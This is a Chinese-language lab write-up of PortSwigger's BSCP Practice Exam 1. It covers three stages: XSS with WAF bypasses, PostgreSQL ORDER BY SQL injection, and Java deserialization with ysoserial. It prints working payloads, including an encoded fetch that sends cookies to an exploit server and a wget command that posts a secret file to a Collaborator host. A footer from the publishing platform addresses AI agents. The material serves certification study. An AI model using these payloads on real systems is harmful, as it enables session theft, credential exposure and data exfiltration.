> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/bscp-certification-practical-guide/writeup-practice-exam-1-bscp.md).

# BSCP 练习考试 1 详解

面向 PortSwigger Web Security Academy 实验室的 BSCP 练习考试 1 详解笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。

## 阶段 1：初始访问（跨站脚本攻击 - XSS）

目标：研究面板。向量：通过 JSON 对象中的 DOM 注入 JavaScript。

#### 1. 注入点分析

搜索词被反射到一个 JavaScript 变量中：

```javascript
var searchResultsObj = {"results":[],"searchTerm":"test"}
```

```javascript
"};alert(1);//
```

#### 2. 绕过 WAF 与数据外传

直接使用 `document.cookie` 会触发 WAF（“可能危险的搜索词”）。为绕过它，可使用十六进制/Unicode 编码或 `替换为` 函数。

测试载荷（绕过）：

```javascript
"};alert(document['/x63/x6f/x6f/x6b/x69/x65']);//
"};alert(document['/u0063/u006f/u006f/u006b/u0069/u0065']);//
"};with(document)alert(cookie);//
```

最终载荷（通过 Collaborator 外传）：

* 我们使用 `eval(atob(...))` 以隐藏 `fetch` 发送到我们攻击服务器的请求。

{% code overflow="wrap" %}

```javascript
"};eval(atob('ZmV0Y2goJ2h0dHBzOi8vZXhwbG9pdC0wYWVjMDBmMjA0NWI1ZDUzODMwMDg3YWMwMWVlMDA3Zi5leHBsb2l0LXNlcnZlci5uZXQvbG9nP2M9Jytkb2N1bWVudC5jb29raWUp'));//
```

{% endcode %}

#### 3. 最终利用（发送给受害者）

该脚本将受害者重定向到包含注入载荷的恶意 URL：

```javascript
<script>
location='https://0a5c00b104455dae835b889200d50093.web-security-academy.net/?SearchTerm=%22};eval(atob(%27ZmV0Y2goJ2h0dHBzOi8vZXhwbG9pdC0wYWVjMDBmMjA0NWI1ZDUzODMwMDg3YWMwMWVlMDA3Zi5leHBsb2l0LXNlcnZlci5uZXQvbG9nP2M9Jytkb2N1bWVudC5jb29raWUp%27));//'
</script>
```

## 阶段 2：权限提升（SQL 注入）

向量：SQL 注入于 `ORDER BY` 参数

#### 1. 数据库识别

由未闭合的链产生的错误确认了可能存在注入。通过测试基于时间的载荷来识别数据库引擎：

* PostgreSQL（目标）： `DATE,pg_sleep(10)`
* 遇到的错误： `无法为 void 类型识别排序操作符`.
* 原因： `pg_sleep()` 返回 `void`，它不能被排序 `ORDER BY`.

#### 2. 数据提取（基于错误）

为了提取管理员的密码，故意触发类型转换错误（Cast），以便在错误消息中显示数据。

负载： `DATE,(CASE WHEN (1=1) THEN (SELECT 'a' FROM pg_sleep(10)) ELSE 'a' END)`

结果：错误泄露了密码： `整数类型的输入语法无效："b235d711d5858825"`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24d847c788507ab59f850d6ab9a6c57d60abde5a%2Fimage%20(3134).png?alt=media" alt=""><figcaption></figcaption></figure>

### 第3阶段：文件系统访问（Java 反序列化）

目的：访问文件系统（外传 `秘密` 文件）。

{% code overflow="wrap" %}

```bash
Cookie: admin-prefs=H4sIAAAAAAAA%2fzWPPU7DQBCFF0RSQcMJpkOi2PTQEH4iCkcKClJEOV6Pk8HrHbO7dmKQOA4VJ%2bAI3IU7sBahm%2fn09PS9zx81Cl6dW8w1msjigjZS1%2bJ0IM9o%2bRVzS3pa1OwWnsrw9vUxDqvv7FAdZeq4xE48R5qJFFGdZs%2fY4cSiW0%2bW0bNbX2bq5D%2fz0EqkF%2fWuDvawHei1SLWHo7ih%2bi%2bxa6Iab5kc%2baiu5j04rAk4wA16KwHm4qL0qOFJWqjYWiqg7qHEVOE1JNMGPUEUKJh0VIvHDcGKcpg2jWWDw1K4R1ORPwvpcEWePC7gloORjgZ1SBDudo0VjsO7JDMI9zCzuA1JT3zaSb9PDWuHQgEAAA%3d%3d
```

{% endcode %}

#### 1. Cookie 分析

一旦以管理员身份连接，我们观察到 `admin-prefs` cookie。

* 格式：URL 编码 -> Base64 -> Gzip -> 序列化 Java 对象。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-258aef3ebc0b00f42797f2195a79842589f916a7%2Fimage%20(3135).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2. 利用（Ysoserial）

该应用使用了一个存在漏洞的库（CommonsCollections）。在测试不同版本（1 到 8）后，CommonsCollections6 版本可用。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f44b05966e2621f02037aad333b3d455d76643c7%2Fimage%20(3136).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 3. 外传载荷

我们生成一个载荷，将……的内容发送到 `/home/carlos/secret` 通过 POST 请求发送到我们的 Collaborator 服务器：

{% code overflow="wrap" %}

```bash
CommonsCollections6 '/usr/bin/wget --post-file /home/carlos/secret https://xnoho8l20pznclvof0aaw7ysjjpad01p.oastify.com'
```

{% endcode %}

* 步骤：将二进制内容压缩为 Gzip -> 编码为 Base64 -> 替换其中的值 `admin-prefs` cookie。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2373203642509ad9e4a3b8017fe4a5b73d1515b%2Fimage%20(3137).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/bscp-certification-practical-guide/writeup-practice-exam-1-bscp.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
